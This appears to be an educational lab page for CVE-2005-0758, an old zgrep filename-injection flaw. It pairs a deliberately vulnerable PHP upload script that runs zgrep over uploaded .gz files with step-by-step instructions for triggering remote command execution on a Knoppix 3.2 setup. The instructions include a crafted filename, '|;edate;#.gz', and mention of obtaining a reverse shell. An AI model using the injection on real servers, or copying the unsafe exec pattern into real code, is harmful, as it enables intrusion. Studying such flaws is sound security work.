a sample of CVE-2005-0758

written by cleemy desu wayo / licensed under CC0 / last update: 2023-08-08

uploaded file infomartion:

(no file uploaded)

'); } else{ $is_gz_str = 'no'; $original_file_basename = basename($_FILES['file']['name']); $original_file_pathinfo = pathinfo($original_file_basename); if($original_file_pathinfo['extension'] === 'gz') { $is_gz_str = 'yes'; // move to ./gz_stored/ move_uploaded_file($_FILES['file']['tmp_name'], './gz_stored/'. $original_file_basename); // exec zgrep exec('zgrep CVE gz_stored/*.gz', $search_results); // save search results $fp = fopen('./gz_stat/latest-search-result.txt', 'w'); foreach ($search_results as $line) { fwrite($fp, $line. "\n"); } fclose($fp); } print('

file name: '. htmlspecialchars($_FILES['file']['name']). '

'); print('

tmp file name: '. htmlspecialchars($_FILES['file']['tmp_name']). '

'); print('

stored to gz_stored/ directory: '. htmlspecialchars($is_gz_str). '

'); } ?>

try upload a file:

about CVE-2005-0758

this is an ancient vulnerability of zgrep. in case of GNU gzip, zgrep is a wrapper script.

about sed injection

try this sample on Knoppix 3.2

Apache 1.3.27, PHP 4.2.3, and vulnerable zgrep are installed from the beginning when booting from Knoppix 3.2 (released at 2003) Live CD.

you can run this sample on Knoppix 3.2 very easily without special settings.

download Knoppix iso

try RCE

  1. boot Knoppix Live CD ordinarily
  2. put this file (cve-2005-0758.php) on /var/www/ on server. "server" means Knoppix.
  3. change owner and chmod (on server)$ cd /var/www
    $ sudo chown www-data:www-data cve-2005-0758.php
    $ sudo chmod 600 cve-2005-0758.php
  4. start apache (on server)$ sudo apachectl start
  5. try connect from a client machine to http://<knoppix>/cve-2005-0758.php
    (when Knoppix is running on VirtualBox or some such, "client machine" means host OS)
  6. create some directories in /var/www (on server)$ cd /var/www
    $ sudo mkdir gz_stat
    $ sudo mkdir gz_stored
  7. change owner and chmod (on server)$ sudo chown www-data:www-data gz_stat gz_stored
    $ sudo chmod 707 gz_stat gz_stored
  8. create an ordinary gz file (on client)$ echo CVE-2005-0758 > hoge.txt
    $ gzip hoge.txt
    $ wc -c hoge.txt.gz
    43 hoge.txt.gz
  9. access from the client machine to http://<knoppix>/cve-2005-0758.php
    and upload hoge.txt.gz
  10. check if you have successfully uploaded (on server)
    $ cd /var/www/gz_stored
    $ sudo wc -c hoge.txt.gz
         43 hoge.txt.gz
    $ cat ../gz_stat/latest-search-result.txt
    CVE-2005-0758
  11. create a new gz file with a crafted filename (on client)$ cp hoge.txt.gz '|;edate;#.gz'
  12. access to http://<knoppix>/cve-2005-0758.php again and upload a new file
  13. check if date command was executed and the search results are weird (on server)$ cd /var/www/gz_stat
    $ cat latest-search-result.txt
    gz_stored/hoge.txt.gz:CVE-2005-0758
    Tue Aug 8 14:54:20 CEST 2023
    gz_stored/CVE-2005-0758
  14. delete a file with a crafted filename (on server)
    (not necessary to do, but may be confusing if there are multiple files with crafted filenames on server)
    and do NOT delete hoge.txt.gz$ cd /var/www/gz_stored
    $ sudo rm -rf *'#.gz'

crafted filenames examples

several commands

exec xgalaga on server-side

get a reverse shell